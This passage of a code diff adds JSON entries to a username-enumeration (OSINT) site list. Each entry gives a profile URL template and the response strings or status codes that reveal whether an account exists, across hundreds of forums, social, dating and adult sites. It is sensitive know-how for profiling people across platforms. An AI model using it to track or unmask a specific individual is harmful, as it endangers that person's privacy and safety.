"https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "TheSimsResource", + "url": "https://www.thesimsresource.com/members/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://www.thesimsresource.com/artists/{}/", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://thesimsresource.com/members/{}/", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "TheStudentRoom", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thetattooforum", + "url": "https://www.thetattooforum.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We\u2019re sorry", + "match_string": "Insert This Gallery" + }, + { + "name": "theturboforums.com", + "url": "https://www.theturboforums.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thevampirediaries", + "url": "http://thevampirediaries.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheVerge", + "url": "https://www.theverge.com/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theverge", + "url": "https://theverge.com/users/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not found", + "match_string": "-user-" + }, + { + "name": "theverge", + "url": "https://www.theverge.com/authors/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheVillage.ru", + "url": "https://www.the-village.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Thewatchforum", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Theweedtube", + "url": "https://theweedtube.com/user/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profileUserName" + }, + { + "name": "thewholesaleforums.co.uk", + "url": "http://www.thewholesaleforums.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thingiverse", + "url": "https://www.thingiverse.com/{}/designs", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thinkwiki.org", + "url": "https://thinkwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thlaspi", + "url": "https://thlaspi.com/en/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thoughts", + "url": "https://thoughts.com/members/{}/", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "<span class=\"activity" + }, + { + "name": "thoughts.com", + "url": "http://thoughts.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "user-activity" + }, + { + "name": "threads", + "url": "https://www.threads.net/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Threads \u2022 Log in" + }, + { + "name": "Threads", + "url": "https://www.threads.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Threads" + }, + { + "name": "threatpost", + "url": "https://threatpost.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Tiendanube", + "url": "https://{}.mitiendanube.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tigerfan.com", + "url": "http://www.tigerfan.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tik.Porn", + "url": "https://tik.porn/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Page Not Found | Tik.Porn", + "match_string": "
    Views
    " + }, + { + "name": "tikbuddy.com", + "url": "https://tikbuddy.com/en/tiktok/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "nickName" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "serverCode\":404", + "match_string": "\"nickname\":" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "Something went wrong", + "match_code": 200, + "match_string": "author_url" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiktok", + "url": "https://tiktok.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Couldn't find this account", + "match_string": "sign-sg.tiktokcdn.com" + }, + { + "name": "TikTok Online Viewer", + "url": "https://ttonlineviewer.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found - TTonlineviewer" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "url": "https://tilde.zone/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Tildes", + "url": "https://tildes.net/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "timich.ru", + "url": "http://timich.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tinder", + "url": "https://www.tinder.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "twitter:title\" content=\"Tinder |" + }, + { + "name": "Tinder", + "url": "https://tinder.com/@{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Tinder | Dating, Make Friends & Meet New People", + "match_code": 200, + "match_string": ") | Tinder" + }, + { + "name": "Tinkoff Invest", + "url": "https://tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ProductError", + "match_string": "ProfileHeader__nickname" + }, + { + "name": "Tinkoff_Invest", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "NoneNone" + }, + { + "name": "TipeeeStream", + "url": "https://www.tipeeestream.com/v3.0/pages/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tise", + "url": "https://tise.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile?p={username}" + }, + { + "name": "tistory", + "url": "https://{}.tistory.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiwall", + "url": "https://tiwall.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"user\"" + }, + { + "name": "TJournal", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "Tkgr", + "url": "http://tkgr.ru/forum/member/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tks", + "url": "https://forum.tks.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tl", + "url": "https://tl.net/forum/profile.php?user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tldrlegal.com", + "url": "https://tldrlegal.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found - TLDRLegal", + "match_string": "s Profile - TLDRLegal" + }, + { + "name": "tlgrm.pro", + "url": "http://tlgrm.pro/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tmbw", + "url": "https://tmbw.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tmk.3dn.ru", + "url": "http://tmk.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tnaflix", + "url": "https://tnaflix.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "looking for is lost somewhere", + "match_string": "userProfileHeader" + }, + { + "name": "Tokopedia", + "url": "https://tokopedia.com/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"{username}\"" + }, + { + "name": "tokyvideo.com", + "url": "https://tokyvideo.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tolkiengateway", + "url": "https://tolkiengateway.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tolyatty", + "url": "http://tolyatty.net/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tom's guide", + "url": "http://forums.tomsguide.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tom.do.am", + "url": "http://tom.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TomsHardware", + "url": "https://forums.tomshardware.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Tomtom", + "url": "https://discussions.tomtom.com/en/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toneto.ucoz.ru", + "url": "http://toneto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toot_mstd", + "url": "https://toot.cat/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "url": "https://tooting.ch/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "top10allservers.ucoz.ru", + "url": "http://top10allservers.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcheats", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "topcheats.ucoz.com", + "url": "http://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://profiles.topcoder.com/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://api.topcoder.com/v5/members/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Member with handle:", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Topdb", + "url": "https://topdb.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Topmate", + "url": "https://topmate.io/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "topreklama.ucoz.com", + "url": "http://topreklama.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topwar", + "url": "https://topwar.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Torrent-soft", + "url": "https://torrent-soft.net/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torrents-igra.ucoz.ru", + "url": "http://torrents-igra.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torworld.at.ua", + "url": "http://torworld.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toster", + "url": "https://qna.habr.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toster", + "url": "https://www.toster.ru/user/{}/answers", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TotalStavki", + "url": "https://totalstavki.ru/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "TotalWar", + "url": "https://forums.totalwar.com/profile/{}", + "category": "gaming", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not Found", + "match_code": 200, + "match_string": "Total War Forums" + }, + { + "name": "Totseans", + "url": "http://www.totseans.com/bbs/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tottenhamhotspur", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Touristlink", + "url": "https://www.touristlink.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Members across the World" + }, + { + "name": "Tourney", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tovyanskaya.at.ua", + "url": "http://tovyanskaya.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toxicbun", + "url": "https://toxicbun.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "toyhou.se", + "url": "https://toyhou.se/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find that page!", + "match_code": 200, + "match_string": "display-user" + }, + { + "name": "toys22.ru", + "url": "http://toys22.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toyster", + "url": "https://toyster.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Tproger", + "url": "https://tproger.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404", + "match_string": "<meta property=\"og:url\" content=\"https://tproger.ru/author/" + }, + { + "name": "track", + "url": "https://bbs.zkaq.cn/u/{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "TrackmaniaLadder", + "url": "http://en.tm-ladder.com/{}_rech.php", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "player unknown or invalid" + }, + { + "name": "tracr.co", + "url": "https://tracr.co/users/1/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No search results" + }, + { + "name": "Tradestories", + "url": "https://tradestories.pt/user/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-info" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found \u2014 TradingView", + "match_string": "tv-profile" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tradingview", + "url": "https://tradingview.com/u/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "that page doesn", + "match_string": "data-username" + }, + { + "name": "Trailville", + "url": "https://trailville.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "trailville.com", + "url": "https://www.trailville.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "wgRelevantUserName" + }, + { + "name": "trainmodels.at.ua", + "url": "http://trainmodels.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "trainz-vl.ucoz.ru", + "url": "http://trainz-vl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trakt", + "url": "https://www.trakt.tv/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trakt", + "url": "https://trakt.tv/users/{}", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "match_code": 200, + "match_string": "s profile - Trakt" + }, + { + "name": "Traktrain", + "url": "https://traktrain.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tranny Videosx", + "url": "https://trannyvideosx.com/user/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Error", + "match_string": "Last Login:" + }, + { + "name": "transit-club.com", + "url": "http://transit-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Translatewiki", + "url": "https://translatewiki.net/wiki/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TRASHBOX.RU", + "url": "https://trashbox.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 \u2014 Not found" + }, + { + "name": "Travelblog", + "url": "https://www.travelblog.org/Bloggers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travelfish", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Private or invalid" + }, + { + "name": "TravellersPoint", + "url": "https://www.travellerspoint.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wooops. Sorry!" + }, + { + "name": "Travellerspoint", + "url": "https://www.travellerspoint.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travellerspoint", + "url": "https://travellerspoint.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found", + "match_string": "nickname" + }, + { + "name": "Travis", + "url": "https://travis-ci.community/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trawelling", + "url": "https://traewelling.de/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trays.ucoz.net", + "url": "http://trays.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trello", + "url": "https://trello.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "model not found" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Oh no! 404!

    ", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}?fields=activityBlocked%2CavatarUrl%2Cbio%2CbioData%2Cconfirmed%2CfullName%2CidEnterprise%2CidMemberReferrer%2Cinitials%2CmemberType%2CnonPublic%2Cproducts%2Curl%2Cusername", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oh no! 404!", + "match_code": 200, + "match_string": "avatarUrl" + }, + { + "name": "Trello", + "url": "https://trello.com/{}/activity", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "trepup.com", + "url": "https://trepup.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Trictrac", + "url": "https://www.trictrac.net/mur/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trilife", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e" + }, + { + "name": "Trinixy", + "url": "https://trinixy.ru/user/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TripAdvisor", + "url": "https://tripadvisor.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page is on vacation\u2026" + }, + { + "name": "tripadvisor", + "url": "https://www.tripadvisor.com/Profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This page is on vacation", + "match_code": 200, + "match_string": "Contributions" + }, + { + "name": "tripit.com", + "url": "https://tripit.com/people/{}#/profile/basic-info", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripline", + "url": "https://www.tripline.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripoto", + "url": "https://www.tripoto.com/profile/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripster", + "url": "https://tripster.ru/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trisquel", + "url": "https://trisquel.info/it/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trovo", + "url": "https://trovo.live/s/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Uh Ohhh..." + }, + { + "name": "Trp_red", + "url": "https://www.trp.red/follow/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TruckersMP", + "url": "https://truckersmp.com/user/search?search={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

    Could not find any member using these credentials

    ", + "match_code": 200, + "match_string": "class=\"team-v2\"" + }, + { + "name": "TruckersMP.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={}&type=core_members", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results for your search." + }, + { + "name": "TruckersMP.ru", + "url": "https://truckersmp.ru/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TrueAchievements", + "url": "https://www.trueachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truelancer", + "url": "https://www.truelancer.com/freelancer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page could not be found.", + "match_string": "https://schema.org/BreadcrumbList" + }, + { + "name": "Truesteamachievements", + "url": "https://truesteamachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truth Social", + "url": "https://truthsocial.com/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Record not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Truthbook", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "Truthpodium", + "url": "https://truthpodium.org/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Trworkshop", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/p/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to /404", + "match_string": "heatmap-user-activity" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/api/user/exist/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\":false", + "match_code": 200, + "match_string": "\"success\":true" + }, + { + "name": "Tryst", + "url": "https://tryst.link/escort/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page not found", + "match_code": 200, + "match_string": "Caters to</div>" + }, + { + "name": "TS-Dating (International)", + "url": "https://www.ts-dating.com/model/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 - PAGE NOT FOUND", + "match_string": ">Location:<span" + }, + { + "name": "tsibulskiy.my1.ru", + "url": "http://tsibulskiy.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ttrails", + "url": "https://ttrails.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, 